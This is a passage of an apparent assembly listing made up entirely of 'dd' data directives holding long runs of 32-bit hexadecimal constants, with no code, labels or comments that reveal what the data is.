		dd 43BB5DF7h, 8B52301h,	0C30A875h, 4CDED01Ch, 0B1B4A601h
		dd 7880EE01h, 0ABF44105h, 6806CAF2h, 65B2633Fh,	0BBD33008h
		dd 0B4C4B820h, 37CE7300h, 7AE3067h, 483407BAh, 40066320h
		dd 5EB02AD8h, 7D829900h, 0A38336B2h, 0B1890075h, 6CEBC1E3h
		dd 7F003EF3h, 4851FB67h, 8D4002h, 64B0C43Bh, 0F3F77AEDh
		dd 30C9607h, 5340E4EAh,	90C44792h, 84E1E1Ah, 77DECC6Fh
		dd 0D60BC08h, 27CE720h,	28FC1FD4h, 94064051h, 3663AE84h
		dd 28A3F0CCh, 0E46E1E72h, 0BC268091h, 554D6203h, 8E302300h
		dd 97D0EB94h, 65790093h, 0A79FC382h, 0D401B3E8h, 3E0C9DC7h
		dd 4840E150h, 21E524C1h, 0ACC07106h, 4C555285h,	223E3BD5h
		dd 9D89FC00h, 0D190877Ah, 0B9365C00h, 0A83EC665h, 390460A7h
		dd 4B240C99h, 1F5F7CA8h, 0F04E0F02h, 24DD0803h,	679E4F01h
		dd 8C977C02h, 0C6FA6053h, 84FC0018h, 658E20B0h,	100C74E2h
		dd 789F3F7Bh, 1423F821h, 0B4A7A979h, 0C4342E8h,	0C63BB84Ch
		dd 0B85CED00h, 0B9D7525h, 80FB8038h, 0D587F418h, 3BAD509Eh
		dd 3900C872h, 0EAF70CD9h, 0CD005463h, 42D0FD05h, 18ED7355h
		dd 0A856B693h, 475AA2BEh, 0E00386h, 0A02B82F2h,	0E2C5FD48h
		dd 0EF33BD03h, 13A2D7FEh, 65F820h, 1C473DBEh, 3FF4FFDEh
		dd 0E1F1C802h, 0C0D6D4B2h, 8F84D6h, 361CB66Ah, 61FEAC0Eh
		dd 7524CF09h, 0BFAD8033h, 4C3AF872h, 1500D3C4h,	0AD388B27h
		dd 8E00B12Ah, 7422919Ah, 0C471CBh, 0A63021E7h, 465C6FF7h
		dd 0C5DC9D00h, 91866A1Fh, 0F4B0055h, 0CE385E60h, 58183EF1h
		dd 47503B29h, 0A8A7304Fh, 56B8A018h, 0A1D6DC00h, 0C5807124h
		dd 2826601Bh, 2AE11DB7h, 0F300F1ECh, 5710AA49h,	70AF0Dh
		dd 0A0A62E02h, 0F57D9A08h, 944DCF01h, 0AFC36911h, 0F7F21886h
		dd 0C90C86D0h, 31528D10h, 0DC0D006Ah, 9AC326FEh, 2A80732Fh
		dd 0E48A0012h, 50CE371Fh, 0B21D030Dh, 655844C7h, 989B3884h
		dd 307A6E1Ah, 49576020h, 0D490A269h, 48162700h,	4BD972ACh
		dd 0FEE000ADh, 5EC351DDh, 0AB3C2417h, 1FF1061Ah, 3E19974h
		dd 0BE23726Ah, 4EF50D98h, 0EC6FE488h, 0DFEB82C0h, 2707E161h
		dd 17332FEEh, 0F9412360h, 10A90043h, 0F4CBAA56h, 0C200F05Fh
		dd 0BE6E474h, 0FC03C5h,	8D19E0C1h, 4E096A92h, 44B7CE00h
		dd 1176C885h, 4A480003h, 2AFE2E1Bh, 993A71E3h, 218B3128h
		dd 16FB8B0h, 0D691576Bh, 0DEFEE434h, 2A26CC00h,	0A7AAEC8Eh
		dd 1C800F2h, 68E308E5h,	86F27FDBh, 0E90043E0h, 0EAE465FCh
		dd 11029Bh, 0A0F44FE3h,	0C06925A8h, 4B15F903h, 2DAA5E29h
		dd 4D402B70h, 0E400917Ch, 0A1E261BBh, 9A3631h, 85059240h
		dd 0C8E30BAFh, 846D3F18h, 15EEFA8h, 8664D610h, 0F453F7B8h
		dd 740052AAh, 0F0BEC967h, 9E5B23h, 73667EC7h, 34FA86B2h
		dd 9A1B48h, 92E2AB76h, 0C0ECB83Ah, 8EF6F150h, 0C003168Ch
		dd 0F986CA78h, 9626A779h, 0F0440020h, 24F1E7D0h, 6A00664Fh
		dd 0E2DE651h, 19488EFh,	27B5AF9Bh, 874ED293h, 884C8F9h
		dd 8FE41082h, 86D60094h, 3444ACFh, 276C0917h, 7EA3CB20h
		dd 0BFA52100h, 0C2B406CEh, 0C94C1C23h, 94D0FC4Ah, 21A700B5h
		dd 0D871C6EBh, 0C1000B87h, 4EDC2E99h, 1806188Ch, 66908B42h
		dd 605C879Fh, 0D8A879E3h, 286DD50h, 0F5D0A08Dh,	0C51944B0h
		dd 8352C017h, 4F003806h, 0D821EC7Dh, 37AE2A2h, 1EB8742Eh
		dd 5AA81B6Bh, 69B0F8FAh, 9694680Bh, 63B20090h, 3A51D926h
		dd 0E6FBF1F3h, 0C68C007Dh, 8859EFCAh, 0E91D9547h, 9780454Bh
		dd 0AE7E17DEh, 533B0F6Bh, 4460D22Fh, 3D678354h,	8C76A700h
		dd 299B5CD6h, 4E2B0216h
		dd 271E39B3h, 8AE895C0h, 0EB00307Eh, 0AE97988Fh, 51453Eh
		dd 0F52F9C80h, 47D87CE2h, 4D8D0701h, 0DF195CD7h, 272DE0h
		dd 9F859548h, 0EF682C25h, 0B93F8A00h, 3A22FB7Dh, 304300AEh
		dd 0FAFD7791h, 5E003388h, 4F6ACDC7h, 0C0E631h, 0B07A04D1h
		dd 0F78E4601h, 252E891Dh, 96E8FC87h, 1E5F9060h,	302700C7h
		dd 0DF01061Fh, 0B139644Eh, 0BF5A80DEh, 0DB529484h, 0E9B0003h
		dd 0F71CD116h, 0C407F657h, 0B20D76EBh, 50DCFFC0h, 0C2AF00C0h
		dd 0D5887B4Dh, 9100748Ah, 0ED13B241h, 3EE26E51h, 0BF0083E9h
		dd 99614E20h, 0A130AB95h, 4264F018h, 81E9007Bh,	900E7E4Bh
		dd 0C800D877h, 34895A97h, 50E0A644h, 7C762CEEh,	0E82E80A8h
		dd 44BA1084h, 1AAD1067h, 8B88738Fh, 43708A08h, 0B815B5E6h
		dd 3B2C94A6h, 0A8DA44B2h, 1920B9C4h, 5864B5D6h,	0F35850E9h
		dd 460849C9h, 419BD67Eh, 2BE89Eh, 402D6B18h, 120FFA76h
		dd 8A6E7340h, 0CE042CD8h, 0B5079814h, 0A786C86Dh, 54B0B6BBh
		dd 310A2CD2h, 2CB0DB36h, 0E0FD0283h, 4367FEh, 0AEAC2D45h
		dd 0CEAF810Fh, 8024BE00h, 199C4465h, 41210090h,	587350E4h
		dd 0E8FCDC79h, 0FB956200h, 0C66906A9h, 0D9E9030Eh, 0E19C3047h
		dd 51B777F8h, 0B044781Ch, 2067594Fh, 0B5233591h, 2E807A9h
		dd 50766442h, 799729BAh, 1569F100h, 7C34B250h, 0DA3B0019h
		dd 0FDC4ED53h, 0F8003151h, 0D4D735D6h, 58CEA7Fh, 2822D9E5h
		dd 0E162C0F4h, 351C4373h, 0A900DCC5h, 0D7E81C04h, 2B5400A5h
		dd 0E631749h, 0BA982EADh, 0E3714500h, 0F6A53010h, 2A1E00D9h
		dd 975243D6h, 0B012FBDCh, 1C0732E4h, 7620A86Dh,	0AFB703h
		dd 999F8CE3h, 593F646Bh, 7D079DE8h, 23AE5482h, 4D46D140h
		dd 0B40648E9h, 749F3C00h, 0AA874F4Eh, 5912401h,	4450EEC1h
		dd 76CEDFC8h, 3DFF00B9h, 52481576h, 13F00272h, 3239701Fh
		dd 87B62480h, 0E2FE7A6h, 0BA5F3D2Eh, 28AFBB40h,	4207A34Fh
		dd 0C2F66A06h, 88334AF0h, 3E5D0C80h, 8F8095D4h,	12D6D000h
		dd 3502E7ACh, 0D13B0F58h, 2BC0FDC8h, 0FB868865h, 51A64609h
		dd 9CB200EDh, 259FE0A8h, 0DD500FF9h, 0E8DAB400h, 1DA27940h
		dd 9B0800DBh, 1A1944F4h, 660B76A5h, 0D5EF96h, 0EDE4713Bh
		dd 0DDCD1C92h, 68428045h, 0AC251BF7h, 0BB7B0E00h, 0B5844879h
		dd 187F26Ah, 0F72A157Dh, 24B242C0h, 0A2ECEEF0h,	9C9BEB12h
		dd 0C6D5FF00h, 57A526h,	0AAA1FAA8h, 519DCE43h, 16399400h
		dd 41F2887Fh, 0D21094Ah, 8E00CC87h, 0B585ACAEh,	24191E00h
		dd 3D783ACFh, 162C00F1h, 753EF7EEh, 93005974h, 6814E4E3h
		dd 0EDD3A0h, 55C2FF7Ch,	5966D86Ch, 0AB44A600h, 0CDE8B71Eh
		dd 432E0270h, 46A2C024h, 0C46CF048h, 0EFC6D800h, 5973152Ch
		dd 628F00CCh, 3A173851h, 6F1CA32Eh, 8D8FDE33h, 0EF5A6050h
		dd 4FD73h, 0EAC2248Ah, 39D95565h, 0CD8E8900h, 663BAAF2h
		dd 6AC00772h, 202C40D7h, 5A1E1CF7h, 71410709h, 0B6EA00CAh
		dd 3EBAC2Fh, 6D95CC5h, 0F590E92Eh, 46E41B22h, 0E0D50D00h
		dd 0C1508E75h, 35090EBh, 523F840h, 0FB98BFD4h, 0A0032A2h
		dd 8BA42263h, 0F27E2Fh,	0A8E8C7BDh, 1FA75F07h, 4FE8D27Eh
		dd 0D504AB72h, 467CDF33h, 1A373880h, 73013AE9h,	5801CB8h
		dd 0D539CEDCh, 0B397B6Bh, 642B003Eh, 1DFEE3A8h,	9B4939E9h
		dd 86F12580h, 0DEF58962h, 7CC05700h, 7812AE06h,	9EE4DFh
		dd 0C7C4277Bh, 806AE22Ah, 2933E3Ch, 104A375Dh, 0EA74C9C5h
		dd 1D6F2370h, 83A3444Bh, 0BC89E612h, 5372FFC8h,	0E4AD6200h
		dd 9CA7CFE7h, 109E0061h, 94066623h, 6EE00825h, 9356E600h
		dd 0B83321CAh, 66100265h, 0C48E49F6h, 9BBEBC40h, 0CDF98501h
		dd 64C5CDEh, 468FD340h,	48700054h, 0F62976E6h, 0BB003E0Eh
		dd 0EB1E4F12h, 90D659h,	6C859F53h, 8814DD9h, 57005FEAh
		dd 20AF533h, 7997F3E9h,	4E170324h, 9CA612Bh, 0C54B6E88h
		dd 4234F507h, 2EA0AA9Dh, 0CDEB2h, 0E3F47F2h, 1363EABh
		dd 0D8F0A472h, 2FDA2017h, 0C8977200h, 2B8324h, 224F6CA9h
		dd 0D306B034h, 0E0308100h, 0FEBC0535h, 0D83600C2h, 1B3CF96Ah
		dd 9FCE7EAh, 74B383Dh, 0D08610EBh, 0CDC049D7h, 791B2E4Dh
		dd 82090028h, 0B66CBF64h, 0A6F4987Dh, 386EC700h, 0FB25D47Ch
		dd 7103EAD5h, 0EB500F0Bh, 0B5407AA8h, 0BF3977F9h, 615B9A00h
		dd 2AC91229h, 0F6B90034h, 2EC84389h, 9C007202h,	9826071Bh
		dd 7E5D45C1h, 0BFF08Dh,	645A4BD6h, 0DB0FDD03h, 0DFD8E900h
		dd 97CD44C0h, 83AD03FCh, 49FBFAF0h, 0BBB83CA3h,	5501EB43h
		dd 77CD957h, 0EE475247h, 8D81CCE0h, 0C085E8F6h,	4DAEDDE8h
		dd 8C00CF14h, 0BB09FD70h, 265D0Ah, 2869308Dh, 1249D881h
		dd 96291100h, 626DF26Ch, 71FA55h, 0CC61F89Ah, 59322A09h
		dd 81CD3607h, 0B690EFC0h, 184D5B7Fh, 0E65B956h,	0A008FBCh
		dd 6DED2206h, 7DD96Bh, 0E601CA24h, 80B85A0Dh, 3ADFCE5Ch
		dd 2590E0B0h, 7AE5E37h,	9B202F7Dh, 2477D055h, 610E2AB2h
		dd 0E1BA3F17h, 8C0A8B38h, 0D8D772E9h, 11BD92h, 2C277AEFh
		dd 0E9E5A1B9h, 5E78B400h, 49E2B38Fh, 7B3C3B75h,	0C44DDF83h
		dd 37D80946h, 0EF0034A4h, 987C43E9h, 7DD47ACBh,	904400AFh
		dd 88CAE419h, 0E700D9BEh, 48F57739h, 5FBFC6h, 0FAA257C2h
		dd 0AD952542h, 0AED3BB00h, 3FA3DEB7h, 0FB0F001Dh, 5B7C098Ah
		dd 0B9F8E87Eh, 0BA695900h, 94AC61FAh, 1C89009Eh, 0BC6BF22h
		dd 0BD2EE3BBh, 50001DFCh, 0B5BA2B49h, 58E41C3Eh, 335F8E7Fh
		dd 0ED441BC0h, 973E01C9h, 4B260025h, 0F9140809h, 0CF909Ah
		dd 94CE552Eh, 0E5FCE9A7h, 1E587D00h, 43B7A529h,	0B9F00087h
		dd 0F83484B3h, 6900FCBCh, 907A4951h, 0BBC942h, 0EF5D5602h
		dd 2D63F9D8h, 0BA9BED1Dh, 0F393A880h, 62527Ch, 0AF8B940Eh
		dd 5922B271h, 0B63A7A7Bh, 0F1F3802Ch, 924A764Eh, 0B1B03Eh
		dd 36CD8A07h, 0F310CBE4h, 96DA3200h, 0BE59DC7Fh, 7A060025h
		dd 7C67FAF5h, 13000DF4h, 0F91D8BA1h, 192887Dh, 0C966FCF0h
		dd 30903C47h, 0D0A42A1Ch, 4D0DD500h, 0CE5C828Bh, 0F52F00D8h
		dd 579DDCE6h, 610E96B0h, 0DA7D71h, 863C0BEDh, 0A47800D4h
		dd 0AAB91746h, 8E78B16Ch, 28548109h, 44F9001Fh,	1C8252h
		dd 0EB603792h, 0C16477B2h, 91E1D200h, 1B93FA90h, 222D0020h
		dd 86EF385Ah, 0C37E747Ch, 9D3F8300h, 0E7F88CC0h, 0A2E900D2h
		dd 5D78BAEAh, 33EA53C7h, 0A69B7D00h, 52AB7AADh,	0C0550075h
		dd 171A87AFh, 0FF0E1510h, 65C64E0Dh, 0A383C87Ah, 8071F092h
		dd 0BBA00013h, 0B138027Ch, 9E01DC8Ah, 0CEC0D0A8h, 73F84D2Ah
		dd 0F0F35866h, 0D88DA900h, 0FD011CCDh, 2B03EB98h, 98B7B253h
		dd 4D44D919h, 720D1AC0h, 0BB9B00A3h, 0D8649799h, 830023EEh
		dd 0DD139C6Ch, 1471120h, 17CEA68h, 0CC5ED025h, 312E518Ch
		dd 0DA000F15h, 2BF67D1h, 0D64F0075h, 7BFCE3DEh,	0D03BF948h
		dd 52428783h, 0AD00C04h, 0A53A13h, 7A898AB4h, 90F92630h
		dd 0C29060Bh, 5B7C16h, 0C4A7FCE1h, 0FD001305h, 1822CA44h
		dd 3C8FC2h, 70E0F866h, 5B460EA3h, 0B1420C00h, 0CF5937D3h
		dd 0E67C0098h, 0B5668991h, 4B009BEEh, 18C96C8Dh, 38777D7h
		dd 1409A2E1h, 55A80E54h, 6D008210h, 0BDF38B7h, 32CCE2h
		dd 0AB2265E0h, 20C75CBEh, 0E5153Ah, 621A1C31h, 0B46CA8h
		dd 0C23CE6A0h, 0DF84CD08h, 0BA3E0D76h, 0B3E38754h, 88E03BB8h
		dd 615E5E7h, 0A7505A53h
		dd 693A600Ah, 0DF3907DEh, 3F20401Fh, 0A0FC44h, 0E7C2C0FEh
		dd 2DF70BEBh, 67AB3D00h, 0D0510483h, 94C06CFh, 49C5249Fh
		dd 9A2C2D0Eh, 95F48062h, 2F9C16h, 5DC8AD27h, 0B4AEF04h
		dd 640306ECh, 57B8A2F8h, 21E8B8DBh, 3D272FDh, 0A07093A6h
		dd 0CCC8E7C6h, 0E20CDBA1h, 81097AEEh, 0AD9C0F90h, 0FAA0EFF2h
		dd 0CC7083C4h, 1B6588C0h, 514673Dh, 7EA3D021h, 0B4AB801Ch
		dd 890F2BECh, 0C30A968Bh, 88074FF9h, 0EF7A70h, 30E45EEBh
		dd 86097EAAh, 6DFCC000h, 817336F2h, 34B900B4h, 5A84313h
		dd 29003362h, 0E2CB8F8Eh, 3253A2h, 9566BDAFh, 86023156h
		dd 0D95EF10Fh, 0F59D824Bh, 0FFE8604Fh, 893D2E71h, 0FC0A0092h
		dd 14BDF105h, 3C2DA600h, 43C22960h, 0C742002Eh,	0D3D15B8Eh
		dd 0C05F423h, 17748F12h, 4AD459C0h, 5BBB2672h, 0F2823A38h
		dd 0E8E5504h, 6F9A18E0h, 183A6100h, 6AA97801h, 9961F77h
		dd 5F3037A2h, 670CB700h, 31758F7Dh, 0A55238h, 824C9563h
		dd 72DA03h, 0DFD36143h,	462B9031h, 485C714h, 4EE300CAh
		dd 55B92F9Dh, 0D0B754BAh, 0F57400F1h, 0F7288724h, 0D33E450h
		dd 90957158h, 17993A7h,	0E2C257B5h, 87EE5624h, 0D6903238h
		dd 5A8B5180h, 5FC70719h, 30D5B64Fh, 0EB44DDA4h,	8100BBE4h
		dd 0E05BDEA2h, 0FEE2E928h, 0BF6E0030h, 0C71C9455h, 0B1008F76h
		dd 609A0E95h, 3B429C71h, 0FB801624h, 0C49E793Ah, 0E90EEC34h
		dd 20175C7Fh, 3F84E7C3h, 97A95068h, 9F9E079Bh, 30A02476h
		dd 162F07FFh, 0AA79C078h, 9017DB00h, 97640258h,	0DA2816A1h
		dd 9D58003Bh, 1763E13Ch, 810B7807h, 0E6004156h,	7AF8E249h
		dd 1C143833h, 0F5A51082h, 8AE0C337h, 290E304Eh,	212C84B8h
		dd 0AE46ABC9h, 0FCA296CCh, 39A4E4F5h, 1C816B8Ch, 2013E232h
		dd 6064E4B8h, 18C21700h, 91759EA3h, 0EEFE0069h,	29B99F7Fh
		dd 0B6018178h, 55A9D9CCh, 0A0D868A2h, 2C660AE1h, 2D18AF6h
		dd 756FCB57h, 0EB5B4660h, 0D933E300h, 84ABD73Eh, 73E227h
		dd 6366A81Dh, 0CB67550Dh, 803D7F3Ah, 0EB4C2E25h, 75BEC32Bh
		dd 0E4F507E6h, 0A0DA625Fh, 0E7A00418h, 98285C62h, 133821E5h
		dd 753E001Ch, 0FEC08032h, 40462488h, 320ED2Ah, 5E7A22F9h
		dd 590BF010h, 51EA6275h, 96250567h, 7391141Eh, 51475C18h
		dd 0F440BB0Ch, 35464412h, 10584820h, 13D2228h, 0E59BDBB7h
		dd 69086E5Fh, 348141F0h, 1828EA46h, 50FA5801h, 0A58848AAh
		dd 9B4101E6h, 82891603h, 0AAAB40A8h, 770F21EEh,	0A009714Fh
		dd 0DDA4E4Bh, 38E10032h, 0FF81A223h, 0F9012934h, 0BD5AB11h
		dd 7FDC6A55h, 0F910084h, 0DDEC113h, 8500FE34h, 0C7CD5E7Bh
		dd 0A6EE51h, 0EC7AA768h, 6BDCF225h, 0B70B29E6h,	8187BA9Fh
		dd 5FC5EA2Fh, 3F79C2D8h, 0EB017DBFh, 388EE6Bh, 0C9CBCCCEh
		dd 0CDA61600h, 866EEA32h, 9A510362h, 0C4F2AF30h, 0AD7E1A01h
		dd 0D2B85DB7h, 0C041B0C7h, 374900BBh, 0F70F314Bh, 0D09E543h
		dd 0C52919h, 8209BCA8h,	8F8D00F4h, 7C7F800Fh, 6DFC354Ch
		dd 0B7871E00h, 0C9FEE0CDh, 0AC4E3C99h, 6291D60Eh, 69DA16C0h
		dd 0C60E3A2Bh, 0A1FD0B38h, 0C0D2CF8Fh, 5B24C0h,	0DB5EB4D5h
		dd 0AC83A3D6h, 832FB23Dh, 26388797h, 0E9F800B7h, 0BD62FE10h
		dd 8900AA1Ch, 0A4579E5h, 0F8E8A1B9h, 1FA50081h,	0E6FC6BB7h
		dd 2F004955h, 0F1459A36h, 137A62F6h, 0CDB5A3h, 0CC4A3A52h
		dd 0A0016660h, 26AA37A4h, 0B1F8C397h, 0A6DA1338h, 393A0EFDh
		dd 4C4BA9C0h, 0D100B212h, 10C8FCCAh, 1F7ABB67h,	0C0F1C52Dh
		dd 589A269Dh, 3A000547h, 7F45385Fh, 1650B9h, 97539FBDh
		dd 0EFF35DAEh, 6D947200h, 4C5E2BB5h, 2CD50016h,	0A264598Ch
		dd 0F2008E75h, 0DFEB32EAh, 70092FC9h, 45E200FFh, 0F554B8Bh
		dd 0E8E2750Dh, 0E9D52B01h, 9B60C9A8h, 219B170h,	0D7D896B1h
		dd 0A0E05DF5h, 9F00EDA1h, 92ACF97Fh, 7E4099F1h,	0E5AD00C2h
		dd 8F5EBB61h, 5700CE02h, 6C67F094h, 1DA666B9h, 80763528h
		dd 0CF0E3193h, 973DCAD7h, 0E84C807Dh, 19FB94FFh, 396A0052h
		dd 0B9C78240h, 0AA008654h, 281EF86Fh, 95A9EAh, 84F58FB5h
		dd 0BAB1405Ch, 712BC01h, 0AEE313D4h, 0F4BE60h, 4C97FF30h
		dd 0E7265E9Bh, 0F91A290Fh, 712F60EDh, 0EB43F60h, 7C4963ACh
		dd 5C6CFC40h, 0FA00B8EFh, 0FD29BC76h, 0E2D7898h, 7A44D743h
		dd 51807B4Bh, 6315FBC8h, 0B769FD00h, 78907248h,	61B60042h
		dd 1FC93CE5h, 8474CB3Ah, 0C4A4B000h, 0FD1CB541h, 611B0026h
		dd 0E57E392Ah, 44008462h, 0B8DF53C5h, 3FC7B1h, 39ED88E9h
		dd 4D75CA8Ch, 65254607h, 0BC20E6FAh, 35DDA9h, 0A315DA8h
		dd 6FB67C54h, 0D2005E76h, 0E73CA6ECh, 0A0FFA4h,	80B8BDAh
		dd 0FC224393h, 0C9638400h, 85D7CDBAh, 824CF6h, 0A2A7107h
		dd 0A4F3F042h, 0F003B789h, 0E75CA604h, 5ECD8B1h, 637000B3h
		dd 0BA33AEA0h, 8F007788h, 37175FD4h, 98EC87h, 0AF4A679Eh
		dd 28F11031h, 200CF7Eh,	0EC0ACEF8h, 74F614Bh, 0E5868F88h
		dd 0AF38C094h, 9F031BC9h, 89091945h, 0B287C81Ch, 29FB0332h
		dd 8DCE54EFh, 0BAEEBCD8h, 0EB7EC200h, 584B2712h, 799807F6h
		dd 0D1954AABh, 34754571h, 0A9388A80h, 2C990736h, 7C40C687h
		dd 0DAC504h, 43583BCAh,	97A2B2F6h, 62C11800h, 0D8711752h
		dd 0CFE2DBh, 832ABBFBh,	0B5E7E9FDh, 0AD96BD00h,	0DD060A6Ah
		dd 499900F7h, 19CBA4CFh, 0D7037527h, 461665Ch, 0D59AD02Ch
		dd 482B7DDFh, 0E8006E50h, 0D49A772h, 0F7EA5530h, 410B2601h
		dd 75DA24A9h, 38D0D820h, 0AE9249C8h, 0CA340734h, 0D2331039h
		dd 0D3179422h, 2803F537h, 0B86447B7h, 7D1BF3DCh, 0DBBF0041h
		dd 6B44D2EAh, 9763105h,	2691DA01h, 0C6727A9Ch, 25C120h
		dd 156A3B87h, 0D0B9C40Ch, 4EFD6F00h, 0F892655Fh, 2FE900D6h
		dd 5690701Fh, 0DC009E84h, 78740728h, 0CC5837h, 7C45EB2Eh
		dd 4BD056F1h, 0C72D1600h, 812376AFh, 34394C8Fh,	0B2DC7500h
		dd 0FCF1A509h, 0CE741300h, 0A9A135DFh, 9E11006Fh, 0C708BDADh
		dd 0C8E707ECh, 0E30795F4h, 0F6C67354h, 7B67B610h, 0F7D10215h
		dd 0E1DE6058h, 7AC1AC40h, 7EFBFA0Ch, 7EA8ACAh, 0CFB31D1Ah
		dd 5FE11007h, 98D8D201h, 0A07370F6h, 0FBDC5DACh, 0E4F68D0h
		dd 0F18EF434h, 36812840h, 0F24F649h, 63031F11h,	0E0AF0609h
		dd 76234Bh, 0D108447Dh,	3EA975B3h, 3F79BB00h, 6210BD9h
		dd 0D39D0009h, 0BFDCB66Ah, 7300379Ah, 0A88A81D8h, 7AE8AD1Ah
		dd 8EEB03B3h, 9F036840h, 29E1CF8h, 0F14E8200h, 7895F91Dh
		dd 0A4ED00D4h, 866D702Fh, 6500E289h, 3302A8A2h,	1D4EEB0h
		dd 6BC4FD45h, 0D8F25C30h, 1024359Ah, 0F304FCE6h, 65809220h
		dd 0FC1A61Fh, 7C41852Fh, 1663807Ch, 174465F2h, 5C95E11Ch
		dd 0DA74F980h, 0A4EE88h, 0E6C278Ch, 0DE4E72C6h,	24FAE4FBh
		dd 0BC0F58h, 5FE7A984h,	0EDE439h, 0C503EF22h, 0CD146187h
		dd 649DC800h, 0AC7FAF4h, 0A3BC00DCh, 4471C1E0h,	0ACB08410h
		dd 0E624061Fh, 7A00382Ch, 37622B02h, 9D820021h,	0DC12EDB7h
		dd 48B865DEh, 0FC79E87Dh, 0F7F91B02h, 40EA68BEh, 0B37563h
		dd 0FFDCE3A5h, 529F59Dh, 47179B00h, 21AEB925h, 0BEE20151h
		dd 0BD18DD9Ch, 4BF0F04Dh, 0AFFECCF5h, 0C7A50B00h, 50E90D70h
		dd 0FCEEB5h, 636B9DEBh,	1366DD5Dh, 0D1A0EC00h, 968C3EC5h
		dd 0CBE00CB1h, 0E5D4F877h, 97599B03h, 98AB3973h, 0F47913F6h
		dd 8DE100B6h, 265A6838h
		dd 7000EDBBh, 1C5092C3h, 5A62F2C8h, 0AD47B0CEh,	0E6A34900h
		dd 7172C387h, 92E9005Bh, 284D390Bh, 80A05D27h, 1D38DA8Fh
		dd 0EE48F0h, 0D66A90A2h, 4DB9FDh, 0EFF6C220h, 2DBDA765h
		dd 57F54B00h, 8D30C0B6h, 3210078Ch, 0BEE1F159h,	2FECDCC0h
		dd 23000393h, 0A45F5C1Ch, 5ECDD2h, 0C78E2A98h, 29E2889Bh
		dd 9307D61Dh, 6A1F1840h, 7D0E37Ch, 7086AEF4h, 0C2E814A6h
		dd 0E0F7ACE8h, 3813585h, 94F988D7h, 1EE27BCDh, 0C519B180h
		dd 3D037A41h, 8045B136h, 0FE2C83Fh, 0D6E90913h,	0D287517Eh
		dd 5892616Eh, 0C943309Ah, 5A0728ECh, 6FB32988h,	90B8A090h
		dd 0CDF40E43h, 7540A7A9h, 9F818ED5h, 0D30018E6h, 832958C8h
		dd 48B06F7Bh, 9C00805Ah, 7FCA456Eh, 32E816Dh, 0B600E08Bh
		dd 9E514F89h, 0ED240146h, 848AFC95h, 0E0C07F9Dh, 0E005C8h
		dd 6A422591h, 4E8CA806h, 92E1DC07h, 5040827Dh, 0F68040h
		dd 1A30A98Fh, 2A6C4265h, 47D32500h, 0B2D5E71h, 10BA00EBh
		dd 0B28CB0AFh, 1200F7DEh, 917472E1h, 4C534E4Dh,	0CD405054h
		dd 7FB0017h, 0D02CC908h, 61001455h, 0E9A8112Fh,	3FE58h
		dd 35D79084h, 25F10D05h, 0D8BB8B00h, 63EDEC3Ah,	86A8009Eh
		dd 0AAD2C7F3h, 0CB00F0D4h, 0F835AD3Dh, 0E644547h, 7810AC5Ch
		dd 0F2E3A8C0h, 0CA05FEB5h, 8B31A736h, 0F05BB400h, 0A3B43Ah
		dd 334B9C91h, 935F179Eh, 0EBD6F07h, 0D93067CEh,	0F7BF6Eh
		dd 7FE18092h, 9E5F2AFDh, 0CAF83Fh, 0E78B6C5h, 1A890Ch
		dd 0A3F93FAAh, 7F9F554Dh, 15B01100h, 0B1432487h, 31E04F7h
		dd 80976D7Ch, 0F27E5EA0h, 99018EEAh, 0D8E48176h, 70D8E317h
		dd 83D23BD6h, 9E7A9600h, 3261F72Bh, 0B600C3E6h,	35F38E0Bh
		dd 82C057h, 1E3B90E7h, 5B8FEF08h, 934A2100h, 1BDDFE8Dh
		dd 58221DD0h, 0FFC3802Bh, 0E982F485h, 0EFA95400h, 25F9B477h
		dd 1980079Eh, 0B039BE2Dh, 528CC82Ch, 0CE823D00h, 6C85015Ch
		dd 0AF9A0095h, 734F14D8h, 0B700F60Fh, 0E1EFBF1Ch, 250F543h
		dd 0DA6CCE8h, 70C06970h, 34262431h, 9A007FDAh, 0ECE252EDh
		dd 3D675CDCh, 61389338h, 0B900573Ch, 4D74452Ch,	489A5B21h
		dd 0FB231700h, 0CB401EE6h, 6851001Fh, 0B32E8F16h, 8EF82C5Fh
		dd 0F17E70B2h, 63326600h, 0C60855FDh, 7F59837h,	8EEA18DCh
		dd 0D57B6035h, 9E008C9Dh, 3806DE59h, 6F6E03h, 0EA2322B5h
		dd 0D7A9CCC0h, 9A8AF21Fh, 0D00C6080h, 9FE2B21h,	0B0B4427Bh
		dd 0DDE7B000h, 7200B1E2h, 28B85AE3h, 5C84FA17h,	8E008C86h
		dd 3A96EC1Bh, 5F0A569Bh, 0DCE4C013h, 66F18601h,	0D0F46C07h
		dd 7F47D30h, 2FF380ACh,	2C390084h, 0AA7D285Ah, 5C2D7F00h
		dd 2436B4DDh, 0E6CEE640h, 39167A89h, 0E800EDFFh, 62CB3870h
		dd 51018ABDh, 11F77DCEh, 68808FEAh, 0C8EF334Ah,	5A00BA6Eh
		dd 8764BFD1h, 0E8FACBh,	99F237F7h, 2EC06546h, 1AB2FCF3h
		dd 0AEDE6600h, 430AEFE9h, 72BC0196h, 0CCE42AADh, 4047F18Bh
		dd 0F45CAA80h, 9B925B00h, 0A324E0BCh, 0F26D0001h, 0CFBDE79Fh
		dd 0C9EE345Fh, 0DF028D7Dh, 92F4A411h, 4DD8405Ch, 3DF249h
		dd 7A1EC3F6h, 0D74EE571h, 10072C98h, 7F165BE1h,	0ADD474C7h
		dd 0D6B3FCC0h, 0E4B40073h, 30DE76CBh, 0F1180C54h, 0A820F9B8h
		dd 0CC6C0040h, 5D520307h, 18C08A24h, 0D090EC04h, 4469004Ch
		dd 22D34781h, 0D2CB268h, 60047F6h, 0E3DB1765h, 6EF42432h
		dd 5E8F0018h, 73D4FD21h, 0FC7FACA0h, 5778D100h,	0F6616F13h
		dd 0DB9705C4h, 405D857Ch, 9CDCE4B8h, 651F0B49h,	4F874CE1h
		dd 77108EE0h, 0D67F2h, 8DFE86AAh, 36502C7Ah, 9E9DCD00h
		dd 3F12F47Bh, 42031C19h, 0C16380C3h, 0FA835C9h,	0A6099201h
		dd 8B7906FAh, 0FDA40480h, 948F34F8h, 56B41800h,	66AEE86Fh
		dd 1CCE008Ah, 739EF71Ah, 6858192Dh, 0F34200D4h,	961080D6h
		dd 0AC240056h, 0CB733E3Fh, 101A536h, 648C75AEh,	4ED46FB8h
		dd 862003D9h, 0EDC30FA1h, 0CC068B0h, 82FC8F50h,	7C553000h
		dd 6EE790BFh, 0A59F00A2h, 0FA61F033h, 2F00A3EBh, 8375C88Fh
		dd 1201AB4h, 5075352h, 0F499ACD8h, 3900DDD6h, 0CD7BBF04h
